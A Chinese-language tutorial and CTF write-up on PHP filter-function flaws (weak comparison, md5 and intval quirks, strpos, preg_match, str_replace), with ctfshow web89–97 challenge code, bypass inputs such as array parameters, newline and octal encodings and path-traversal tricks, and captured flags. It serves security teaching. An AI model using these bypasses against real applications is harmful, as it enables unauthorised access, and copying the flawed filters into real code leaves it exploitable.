Web攻防-PHP

暂时未讲漏洞。

知识点

1、过滤函数缺陷绕过
2、CTF考点与代码审计 –> 重点在实际应用,而不是为了比赛而比赛

==与===
md5
intval
strpos
in_array
preg_match
str_replace
过滤器的不严谨会导致注入产生


1.赋值与对比符号(CTF考点)
= 赋值
== 对比,不对比类型 => 不具备唯一性,导致其他多种情况下条件成立
举例:1.01和+1
CTF赛事:存在绕过
=== 对比,包括对比类型 => 强类型对比

$a=1;
if($a==$_GET['x']){
echo $flag;
}
//1.0 +1 1a

$a='1';
if($a===$_GET['y']){
echo $flag;
}
//1.0 +1等

2.加密
md5 加密函数,md5的对比
例如:尝试获得flag
1 利用的是(==)的弱类型比较
if($_GET['username']!=$_GET['password']){
if(MD5($_GET['username'])==MD5($_GET['password'])){
echo $flag;
}
echo "?";
}

满足$_GET['username']!=$_GET['password'],但是俩MD5值相等
当遇到0e开头的md5值时,使用(==)进行比较默认值MD5值相等

2 和上面不同点在于,他是强类型比较(===)
if($_GET['username']!=$_GET['password']){
if(MD5($_GET['username'])===MD5($_GET['password'])){
echo $flag;
}
echo "?";
}

使用数组进行绕过:MD5函数不识别数组,当参数为数组时返回null
此时出现null===null,两者值相等,得到flag(这操作有点骚)

3.获取变量整数值的函数
intval($value[,$base=10] ) :
默认将$value转换为十进制整数,还能实现各个进制转10进制整数。
$base默认为10进制
如果是0时,通过var的格式来决定使用的进制:
0x(16进制),0(八进制),10(十进制),0b(二进制)

缺陷绕过
案例如下:
题目1
$i=666;$ii=$_GET['id'];
if(intval($ii==$i)){
echo $flag;
}

4.查字符串
strpos($str1,$str2[,$start]):查找$str2$str1第一次出现位置,起始为$start,默认起始为0
$i=666;$ii=$_GET['id'];
if(strpos($ii,$i,"0")){
echo $flag;
}
// %0a666 换行绕过,空格也算换行
// ?num=%0a666

5.查是否在数组内
in_array($val,$arr,$strict):检测值$val是否在数组$arr
$strict可选,为True时同时判断类型是否相等。(考点$strict),否则相当于(==)
题目
$whitelist = [1,2,3];
$page=$_GET['i'];
if(in_array($page,$whitelist)){
echo "yes";
}
# ?i=1ex

6.正则表达式执行
preg_match():只能处理字符串,如果不按规定传入字符串,通常传入一个数组,这样会报错
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
$pattern: 要搜索的模式,字符串形式。(正则表达式)
$subject: 输入字符串。(被搜索的字符串)
$matches: 如果提供了参数matches,它将被填充为搜索结果。(存储搜索结果)
$matches[0]将包含完整模式匹配到的文本,
$matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
$flags:flags 可以被设置为以下标记值:
PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。
注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串
在目标字符串subject中的偏移量。
offset: 通常,搜索从目标字符串的开始位置开始。
可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。

题目:
if(isset($_GET('num'))){
$num=$_GET('num');
// 正则表达式过滤
if(preg_math("/[0-9]/",$num)){
die("nonono!"); #终止输出
}
// 获取整数值
if(intval($num)){
echo $flag;
}
}
# ?num[]=1

7.字符串过滤
str_replace($str1,$str2,$str,$val):在$str当中查找$str1并且将$str1替换为$str2$val可选,用于计算替换次数

题目:无迭代过滤
无法迭代过滤可以演变为很多形式的过滤,像变量名字过滤,路径过滤等
// 过滤写法:假如我过滤../只有过滤一次,那么就能写成这样子的形式来绕过../一次过滤:....//或者../../
// 代码实现:str_replace('../','',$path);
$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql;
# ?s=sselectelect

WebShow赛题

题目:web89~web97

都是函数代码特性。==> CTF源于代码审计

题目1

 <?php
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
# 解题:http://5b447cb0-6f85-417f-8ebb-bb069cab070d.challenge.ctf.show?num[]=1
# 返回下面结果
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/html/index.php on line 20
ctfshow{2f597376-fbcd-436c-8604-f28bdeb97db7}

题目2

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
// 识别进制并且转换为十进制进行比较
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

# URL输入:?num=%0a4476,或者?num=0x117c(十六进制)
ctfshow{b3737b6f-1253-47f0-87fe-48cfd4ef33a3}

题目3

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
# 分析
# '/^php$/i' 正则表达式,表示首尾都是php,i:忽略大小写,m:启用多行模式,即可以匹配含有换行符的字符串中的每一行。
# 因为换行检测是每行都匹配的,通过第一层的换行检测,第二层没有换行检测,自动跳转到else部分输出flag,%0a是换行
# 最终式子:
# ?cmd=php%0aphp

题目4

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

# 换行绕过或者进制绕过
# 十六进制绕过:?num=0x117c
# ctfshow{dc98fe58-f160-45a3-aac9-19b57830750a}

题目5

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
# 分析:
# 基于intval,限制条件是不能等于整数4476和不能出现英文字母,不论大小写。
# 选择将4476转为八进制
# ?num=010574
# flag:ctfshow{9bd7dbdf-f856-4a83-9167-5c1cedcad20c}

题目6题目7

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
# 和上一道题目差不多,使用空格换行绕过strpos。
# 总结下就是八进制绕过“===”和正则表达式,空格换行绕过strpos
# ?num= 010574 => 中间多了个空格

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
# 解法差不多,绕过弱类型比较和正则表达式,再换行绕过strpos。
# ?num= 010574 => 中间多了个空格

题目8

highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
# 弱类型对比,思路:尝试将在不等于flag.php字符串的情况下调用flag.php
# 解决办法:本地调用"./flag.php"
# ?u=./flag.php
# 读取出来的内容如下:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:24:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:25:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$flag="ctfshow{f1897027-e4b6-452d-a6e6-b87bd4af83ec}";

题目9

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
# 思路:使用POST传参传入变量a和b,因为是强类型比较,使用数组绕过
# 使用POST传参的方法:BP抓包,或者浏览器使用hackbar插件工具
// 返回如下
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 17
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 17
ctfshow{a970180a-ecf3-4b3f-973a-f781670391d3}